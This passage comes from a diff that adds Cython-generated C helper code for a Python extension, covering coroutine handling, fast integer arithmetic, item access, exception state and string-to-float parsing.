PyExc_RuntimeError, + "coroutine is being awaited already"); + return NULL; + } + retval = __Pyx_Generator_Next(source); +#ifdef __Pyx_AsyncGen_USED + } else if (__pyx_PyAsyncGenASend_CheckExact(source)) { + retval = __Pyx_async_gen_asend_iternext(source); +#endif + } else { + return __Pyx__Coroutine_Yield_From_Generic(gen, source); + } + if (retval) { + Py_INCREF(source); + gen->yieldfrom = source; + } + return retval; +} + +/* PyIntBinop */ + #if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_MAYBE_UNUSED_VAR(inplace); + CYTHON_UNUSED_VAR(zerodivision_check); + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long x; + long a = PyInt_AS_LONG(op1); + + x = (long)((unsigned long)a + (unsigned long)b); + if (likely((x^a) >= 0 || (x^b) >= 0)) + return PyInt_FromLong(x); + return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + const long b = intval; + long a, x; +#ifdef HAVE_LONG_LONG + const PY_LONG_LONG llb = intval; + PY_LONG_LONG lla, llx; +#endif + if (unlikely(__Pyx_PyLong_IsZero(op1))) { + return __Pyx_NewRef(op2); + } + if (likely(__Pyx_PyLong_IsCompact(op1))) { + a = __Pyx_PyLong_CompactValue(op1); + } else { + const digit* digits = __Pyx_PyLong_Digits(op1); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(op1); + switch (size) { + case -2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + default: return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + } + x = a + b; + return PyLong_FromLong(x); +#ifdef HAVE_LONG_LONG + long_long: + llx = lla + llb; + return PyLong_FromLongLong(llx); +#endif + + + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + double result; + + PyFPE_START_PROTECT("add", return NULL) + result = ((double)a) + (double)b; + PyFPE_END_PROTECT(result) + return PyFloat_FromDouble(result); + } + return (inplace ? PyNumber_InPlaceAdd : PyNumber_Add)(op1, op2); +} +#endif + +/* GetItemInt */ + static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { + PyObject *r; + if (unlikely(!j)) return NULL; + r = PyObject_GetItem(o, j); + Py_DECREF(j); + return r; +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyList_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyList_GET_SIZE(o)))) { + PyObject *r = PyList_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyTuple_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS + if (is_list || PyList_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); + if ((!boundscheck) || (likely(__Pyx_is_valid_index(n, PyList_GET_SIZE(o))))) { + PyObject *r = PyList_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } + else if (PyTuple_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); + if ((!boundscheck) || likely(__Pyx_is_valid_index(n, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } else { + PyMappingMethods *mm = Py_TYPE(o)->tp_as_mapping; + PySequenceMethods *sm = Py_TYPE(o)->tp_as_sequence; + if (mm && mm->mp_subscript) { + PyObject *r, *key = PyInt_FromSsize_t(i); + if (unlikely(!key)) return NULL; + r = mm->mp_subscript(o, key); + Py_DECREF(key); + return r; + } + if (likely(sm && sm->sq_item)) { + if (wraparound && unlikely(i < 0) && likely(sm->sq_length)) { + Py_ssize_t l = sm->sq_length(o); + if (likely(l >= 0)) { + i += l; + } else { + if (!PyErr_ExceptionMatches(PyExc_OverflowError)) + return NULL; + PyErr_Clear(); + } + } + return sm->sq_item(o, i); + } + } +#else + if (is_list || !PyMapping_Check(o)) { + return PySequence_GetItem(o, i); + } +#endif + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +} + +/* ObjectGetItem */ + #if CYTHON_USE_TYPE_SLOTS +static PyObject *__Pyx_PyObject_GetIndex(PyObject *obj, PyObject *index) { + PyObject *runerr = NULL; + Py_ssize_t key_value; + key_value = __Pyx_PyIndex_AsSsize_t(index); + if (likely(key_value != -1 || !(runerr = PyErr_Occurred()))) { + return __Pyx_GetItemInt_Fast(obj, key_value, 0, 1, 1); + } + if (PyErr_GivenExceptionMatches(runerr, PyExc_OverflowError)) { + __Pyx_TypeName index_type_name = __Pyx_PyType_GetName(Py_TYPE(index)); + PyErr_Clear(); + PyErr_Format(PyExc_IndexError, + "cannot fit '" __Pyx_FMT_TYPENAME "' into an index-sized integer", index_type_name); + __Pyx_DECREF_TypeName(index_type_name); + } + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem_Slow(PyObject *obj, PyObject *key) { + __Pyx_TypeName obj_type_name; + if (likely(PyType_Check(obj))) { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(obj, __pyx_n_s_class_getitem); + if (!meth) { + PyErr_Clear(); + } else { + PyObject *result = __Pyx_PyObject_CallOneArg(meth, key); + Py_DECREF(meth); + return result; + } + } + obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "'" __Pyx_FMT_TYPENAME "' object is not subscriptable", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key) { + PyTypeObject *tp = Py_TYPE(obj); + PyMappingMethods *mm = tp->tp_as_mapping; + PySequenceMethods *sm = tp->tp_as_sequence; + if (likely(mm && mm->mp_subscript)) { + return mm->mp_subscript(obj, key); + } + if (likely(sm && sm->sq_item)) { + return __Pyx_PyObject_GetIndex(obj, key); + } + return __Pyx_PyObject_GetItem_Slow(obj, key); +} +#endif + +/* DictGetItem */ + #if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key) { + PyObject *value; + value = PyDict_GetItemWithError(d, key); + if (unlikely(!value)) { + if (!PyErr_Occurred()) { + if (unlikely(PyTuple_Check(key))) { + PyObject* args = PyTuple_Pack(1, key); + if (likely(args)) { + PyErr_SetObject(PyExc_KeyError, args); + Py_DECREF(args); + } + } else { + PyErr_SetObject(PyExc_KeyError, key); + } + } + return NULL; + } + Py_INCREF(value); + return value; +} +#endif + +/* PyIntCompare */ + static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_UNUSED_VAR(inplace); + if (op1 == op2) { + return 1; + } + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long a = PyInt_AS_LONG(op1); + return (a == b); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + int unequal; + unsigned long uintval; + Py_ssize_t size = __Pyx_PyLong_DigitCount(op1); + const digit* digits = __Pyx_PyLong_Digits(op1); + if (intval == 0) { + return (__Pyx_PyLong_IsZero(op1) == 1); + } else if (intval < 0) { + if (__Pyx_PyLong_IsNonNeg(op1)) + return 0; + intval = -intval; + } else { + if (__Pyx_PyLong_IsNeg(op1)) + return 0; + } + uintval = (unsigned long) intval; +#if PyLong_SHIFT * 4 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 4)) { + unequal = (size != 5) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[4] != ((uintval >> (4 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 3 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 3)) { + unequal = (size != 4) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 2 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 2)) { + unequal = (size != 3) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 1 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 1)) { + unequal = (size != 2) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif + unequal = (size != 1) || (((unsigned long) digits[0]) != (uintval & (unsigned long) PyLong_MASK)); + return (unequal == 0); + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + return ((double)a == (double)b); + } + return __Pyx_PyObject_IsTrueAndDecref( + PyObject_RichCompare(op1, op2, Py_EQ)); +} + +/* GetException */ + #if CYTHON_FAST_THREAD_STATE +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) +#endif +{ + PyObject *local_type = NULL, *local_value, *local_tb = NULL; +#if CYTHON_FAST_THREAD_STATE + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if PY_VERSION_HEX >= 0x030C00A6 + local_value = tstate->current_exception; + tstate->current_exception = 0; + if (likely(local_value)) { + local_type = (PyObject*) Py_TYPE(local_value); + Py_INCREF(local_type); + local_tb = PyException_GetTraceback(local_value); + } + #else + local_type = tstate->curexc_type; + local_value = tstate->curexc_value; + local_tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; + #endif +#else + PyErr_Fetch(&local_type, &local_value, &local_tb); +#endif + PyErr_NormalizeException(&local_type, &local_value, &local_tb); +#if CYTHON_FAST_THREAD_STATE && PY_VERSION_HEX >= 0x030C00A6 + if (unlikely(tstate->current_exception)) +#elif CYTHON_FAST_THREAD_STATE + if (unlikely(tstate->curexc_type)) +#else + if (unlikely(PyErr_Occurred())) +#endif + goto bad; + #if PY_MAJOR_VERSION >= 3 + if (local_tb) { + if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) + goto bad; + } + #endif + Py_XINCREF(local_tb); + Py_XINCREF(local_type); + Py_XINCREF(local_value); + *type = local_type; + *value = local_value; + *tb = local_tb; +#if CYTHON_FAST_THREAD_STATE + #if CYTHON_USE_EXC_INFO_STACK + { + _PyErr_StackItem *exc_info = tstate->exc_info; + #if PY_VERSION_HEX >= 0x030B00a4 + tmp_value = exc_info->exc_value; + exc_info->exc_value = local_value; + tmp_type = NULL; + tmp_tb = NULL; + Py_XDECREF(local_type); + Py_XDECREF(local_tb); + #else + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = local_type; + exc_info->exc_value = local_value; + exc_info->exc_traceback = local_tb; + #endif + } + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = local_type; + tstate->exc_value = local_value; + tstate->exc_traceback = local_tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#else + PyErr_SetExcInfo(local_type, local_value, local_tb); +#endif + return 0; +bad: + *type = 0; + *value = 0; + *tb = 0; + Py_XDECREF(local_type); + Py_XDECREF(local_value); + Py_XDECREF(local_tb); + return -1; +} + +/* pep479 */ + static void __Pyx_Generator_Replace_StopIteration(int in_async_gen) { + PyObject *exc, *val, *tb, *cur_exc; + __Pyx_PyThreadState_declare + #ifdef __Pyx_StopAsyncIteration_USED + int is_async_stopiteration = 0; + #endif + CYTHON_MAYBE_UNUSED_VAR(in_async_gen); + cur_exc = PyErr_Occurred(); + if (likely(!__Pyx_PyErr_GivenExceptionMatches(cur_exc, PyExc_StopIteration))) { + #ifdef __Pyx_StopAsyncIteration_USED + if (in_async_gen && unlikely(__Pyx_PyErr_GivenExceptionMatches(cur_exc, __Pyx_PyExc_StopAsyncIteration))) { + is_async_stopiteration = 1; + } else + #endif + return; + } + __Pyx_PyThreadState_assign + __Pyx_GetException(&exc, &val, &tb); + Py_XDECREF(exc); + Py_XDECREF(val); + Py_XDECREF(tb); + PyErr_SetString(PyExc_RuntimeError, + #ifdef __Pyx_StopAsyncIteration_USED + is_async_stopiteration ? "async generator raised StopAsyncIteration" : + in_async_gen ? "async generator raised StopIteration" : + #endif + "generator raised StopIteration"); +} + +/* JoinPyUnicode */ + static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char) { +#if CYTHON_USE_UNICODE_INTERNALS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyObject *result_uval; + int result_ukind, kind_shift; + Py_ssize_t i, char_pos; + void *result_udata; + CYTHON_MAYBE_UNUSED_VAR(max_char); +#if CYTHON_PEP393_ENABLED + result_uval = PyUnicode_New(result_ulength, max_char); + if (unlikely(!result_uval)) return NULL; + result_ukind = (max_char <= 255) ? PyUnicode_1BYTE_KIND : (max_char <= 65535) ? PyUnicode_2BYTE_KIND : PyUnicode_4BYTE_KIND; + kind_shift = (result_ukind == PyUnicode_4BYTE_KIND) ? 2 : result_ukind - 1; + result_udata = PyUnicode_DATA(result_uval); +#else + result_uval = PyUnicode_FromUnicode(NULL, result_ulength); + if (unlikely(!result_uval)) return NULL; + result_ukind = sizeof(Py_UNICODE); + kind_shift = (result_ukind == 4) ? 2 : result_ukind - 1; + result_udata = PyUnicode_AS_UNICODE(result_uval); +#endif + assert(kind_shift == 2 || kind_shift == 1 || kind_shift == 0); + char_pos = 0; + for (i=0; i < value_count; i++) { + int ukind; + Py_ssize_t ulength; + void *udata; + PyObject *uval = PyTuple_GET_ITEM(value_tuple, i); + if (unlikely(__Pyx_PyUnicode_READY(uval))) + goto bad; + ulength = __Pyx_PyUnicode_GET_LENGTH(uval); + if (unlikely(!ulength)) + continue; + if (unlikely((PY_SSIZE_T_MAX >> kind_shift) - ulength < char_pos)) + goto overflow; + ukind = __Pyx_PyUnicode_KIND(uval); + udata = __Pyx_PyUnicode_DATA(uval); + if (!CYTHON_PEP393_ENABLED || ukind == result_ukind) { + memcpy((char *)result_udata + (char_pos << kind_shift), udata, (size_t) (ulength << kind_shift)); + } else { + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(result_uval, char_pos, uval, 0, ulength) < 0)) goto bad; + #elif CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030300F0 || defined(_PyUnicode_FastCopyCharacters) + _PyUnicode_FastCopyCharacters(result_uval, char_pos, uval, 0, ulength); + #else + Py_ssize_t j; + for (j=0; j < ulength; j++) { + Py_UCS4 uchar = __Pyx_PyUnicode_READ(ukind, udata, j); + __Pyx_PyUnicode_WRITE(result_ukind, result_udata, char_pos+j, uchar); + } + #endif + } + char_pos += ulength; + } + return result_uval; +overflow: + PyErr_SetString(PyExc_OverflowError, "join() result is too long for a Python string"); +bad: + Py_DECREF(result_uval); + return NULL; +#else + CYTHON_UNUSED_VAR(max_char); + CYTHON_UNUSED_VAR(result_ulength); + CYTHON_UNUSED_VAR(value_count); + return PyUnicode_Join(__pyx_empty_unicode, value_tuple); +#endif +} + +/* GetAttr */ + static CYTHON_INLINE PyObject *__Pyx_GetAttr(PyObject *o, PyObject *n) { +#if CYTHON_USE_TYPE_SLOTS +#if PY_MAJOR_VERSION >= 3 + if (likely(PyUnicode_Check(n))) +#else + if (likely(PyString_Check(n))) +#endif + return __Pyx_PyObject_GetAttrStr(o, n); +#endif + return PyObject_GetAttr(o, n); +} + +/* HasAttr */ + static CYTHON_INLINE int __Pyx_HasAttr(PyObject *o, PyObject *n) { + PyObject *r; + if (unlikely(!__Pyx_PyBaseString_Check(n))) { + PyErr_SetString(PyExc_TypeError, + "hasattr(): attribute name must be string"); + return -1; + } + r = __Pyx_GetAttr(o, n); + if (!r) { + PyErr_Clear(); + return 0; + } else { + Py_DECREF(r); + return 1; + } +} + +/* ReturnWithStopIteration */ + static void __Pyx__ReturnWithStopIteration(PyObject* value) { + PyObject *exc, *args; +#if CYTHON_COMPILING_IN_CPYTHON + __Pyx_PyThreadState_declare + if (PY_VERSION_HEX >= 0x030C00A6 + || unlikely(PyTuple_Check(value) || PyExceptionInstance_Check(value))) { + args = PyTuple_New(1); + if (unlikely(!args)) return; + Py_INCREF(value); + PyTuple_SET_ITEM(args, 0, value); + exc = PyType_Type.tp_call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (!exc) return; + } else { + Py_INCREF(value); + exc = value; + } + #if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + #if CYTHON_USE_EXC_INFO_STACK + if (!__pyx_tstate->exc_info->exc_value) + #else + if (!__pyx_tstate->exc_type) + #endif + { + Py_INCREF(PyExc_StopIteration); + __Pyx_ErrRestore(PyExc_StopIteration, exc, NULL); + return; + } + #endif +#else + args = PyTuple_Pack(1, value); + if (unlikely(!args)) return; + exc = PyObject_Call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (unlikely(!exc)) return; +#endif + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); +} + +/* RaiseTooManyValuesToUnpack */ + static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected) { + PyErr_Format(PyExc_ValueError, + "too many values to unpack (expected %" CYTHON_FORMAT_SSIZE_T "d)", expected); +} + +/* RaiseNeedMoreValuesToUnpack */ + static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index) { + PyErr_Format(PyExc_ValueError, + "need more than %" CYTHON_FORMAT_SSIZE_T "d value%.1s to unpack", + index, (index == 1) ? "" : "s"); +} + +/* IterFinish */ + static CYTHON_INLINE int __Pyx_IterFinish(void) { + PyObject* exc_type; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (unlikely(exc_type)) { + if (unlikely(!__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) + return -1; + __Pyx_PyErr_Clear(); + return 0; + } + return 0; +} + +/* UnpackItemEndCheck */ + static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected) { + if (unlikely(retval)) { + Py_DECREF(retval); + __Pyx_RaiseTooManyValuesError(expected); + return -1; + } + return __Pyx_IterFinish(); +} + +/* pybytes_as_double */ + static double __Pyx_SlowPyString_AsDouble(PyObject *obj) { + PyObject *float_value; +#if PY_MAJOR_VERSION >= 3 + float_value = PyFloat_FromString(obj); +#else + float_value = PyFloat_FromString(obj, 0); +#endif + if (likely(float_value)) { +#if CYTHON_ASSUME_SAFE_MACROS + double value = PyFloat_AS_DOUBLE(float_value); +#else + double value = PyFloat_AsDouble(float_value); +#endif + Py_DECREF(float_value); + return value; + } + return (double)-1; +} +static const char* __Pyx__PyBytes_AsDouble_Copy(const char* start, char* buffer, Py_ssize_t length) { + int last_was_punctuation = 1; + Py_ssize_t i; + for (i=0; i < length; i++) { + char chr = start[i]; + int is_punctuation = (chr == '_') | (chr == '.') | (chr == 'e') | (chr == 'E'); + *buffer = chr; + buffer += (chr != '_'); + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyBytes_AsDouble_inf_nan(const char* start, Py_ssize_t length) { + int matches = 1; + char sign = start[0]; + int is_signed = (sign == '+') | (sign == '-'); + start += is_signed; + length -= is_signed; + switch (start[0]) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + matches &= (start[1] == 'a' || start[1] == 'A'); + matches &= (start[2] == 'n' || start[2] == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + matches &= (start[1] == 'n' || start[1] == 'N'); + matches &= (start[2] == 'f' || start[2] == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + matches &= (start[3] == 'i' || start[3] == 'I'); + matches &= (start[4] == 'n' || start[4] == 'N'); + matches &= (start[5] == 'i' || start[5] == 'I'); + matches &= (start[6] == 't' || start[6] == 'T'); + matches &= (start[7] == 'y' || start[7] == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static CYTHON_INLINE int __Pyx__PyBytes_AsDouble_IsSpace(char ch) { + return (ch == 0x20) | !((ch < 0x9) | (ch > 0xd)); +} +CYTHON_UNUSED static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length) { + double value; + Py_ssize_t i, digits; + const char *last = start + length; + char *end; + while (__Pyx__PyBytes_AsDouble_IsSpace(*start)) + start++; + while (start < last - 1 && __Pyx__PyBytes_AsDouble_IsSpace(last[-1])) + last--; + length = last - start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyBytes_AsDouble_inf_nan(start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + digits = 0; + for (i=0; i < length; digits += start[i++] != '_'); + if (likely(digits == length)) { + value = PyOS_string_to_double(start, &end, NULL); + } else if (digits < 40) { + char number[40]; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((digits + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} + +/* pynumber_float */ + static CYTHON_INLINE PyObject* __Pyx__PyNumber_Float(PyObject* obj) { + double val; + if (PyLong_CheckExact(obj)) { +#if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(obj))) { + val = (double) __Pyx_PyLong_CompactValue(obj); + goto no_error; + } +#endif + val = PyLong_AsDouble(obj); + } else if (PyUnicode_CheckExact(obj)) { + val = __Pyx_PyUnicode_AsDouble(obj); + } else if (PyBytes_CheckExact(obj)) { + val = __Pyx_PyBytes_AsDouble(obj); + } else if (PyByteArray_CheckExact(obj)) { + val = __Pyx_PyByteArray_AsDouble(obj); + } else { + return PyNumber_Float(obj); + } + if (unlikely(val == -1 && PyErr_Occurred())) { + return NULL; + } +#if CYTHON_USE_PYLONG_INTERNALS +no_error: +#endif + return PyFloat_FromDouble(val); +} + +/* 